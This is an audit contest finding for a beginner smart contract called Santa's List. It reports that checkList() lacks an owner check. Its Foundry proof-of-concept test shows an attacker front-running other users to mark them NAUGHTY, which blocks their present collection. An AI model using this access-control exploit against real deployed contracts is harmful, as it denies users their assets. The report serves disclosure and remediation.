First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious user can prevent everyone from collecting presents

timenov

Summary

Because the checkList function has no modifier to validate if msg.sender == santa, a malicious user can benefit from that and cause malfunction of the contract.

Vulnerability Details

Lets consider the following scenario. Alice was nice this year and because of that, she earned status of NICE. Bob was extra nice and received status EXTRA_NICE. However Eve was naughty and received NAUGHTY status. She won't receive present but doesn't want Alice and Bob to receive presents as well. What she will do is to front-run Alice and Bob transactions to collectPresent() and set their status to 'NAUGHTY'. By doing that, they will not be able to receive their presents.

Impact

Prevent users from getting their presents

Tools Used

Manual Review, Foundry

Proof of Concept

Created the following test case and added to SantasListTest.t.sol

function testPreventCollectingPresents() public {
// Setting our users
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address eve = makeAddr("eve");
​
// Santa makes his list
vm.startPrank(santa);
santasList.checkList(alice, SantasList.Status.NICE);
santasList.checkTwice(alice, SantasList.Status.NICE);
​
santasList.checkList(bob, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(bob, SantasList.Status.EXTRA_NICE);
​
santasList.checkList(eve, SantasList.Status.NAUGHTY);
santasList.checkTwice(eve, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
// Validate roles
assertEq(uint256(santasList.getNaughtyOrNiceOnce(alice)), uint256(SantasList.Status.NICE));
assertEq(uint256(santasList.getNaughtyOrNiceTwice(alice)), uint256(SantasList.Status.NICE));
​
assertEq(uint256(santasList.getNaughtyOrNiceOnce(bob)), uint256(SantasList.Status.EXTRA_NICE));
assertEq(uint256(santasList.getNaughtyOrNiceTwice(bob)), uint256(SantasList.Status.EXTRA_NICE));
​
assertEq(uint256(santasList.getNaughtyOrNiceOnce(eve)), uint256(SantasList.Status.NAUGHTY));
assertEq(uint256(santasList.getNaughtyOrNiceTwice(eve)), uint256(SantasList.Status.NAUGHTY));
​
// Its Christmas time
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// Eve sees that Alice wants to collect her present and front-runs her
vm.prank(eve);
santasList.checkList(alice, SantasList.Status.NAUGHTY);
​
// Alice can't collect her present
vm.prank(alice);
vm.expectRevert();
santasList.collectPresent();
​
// Eve sees that Bob wants to collect his present and front-runs him
vm.prank(eve);
santasList.checkList(bob, SantasList.Status.NAUGHTY);
​
// Bob can't collect his present
vm.prank(bob);
vm.expectRevert();
santasList.collectPresent();
}

Test passes:

[PASS] testPreventCollectingPresents() (gas: 168026)

Recommendations

Add modifier to checkList to ensure that it is called by santa

Updates

Lead Judging Commences

equious Auditor
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.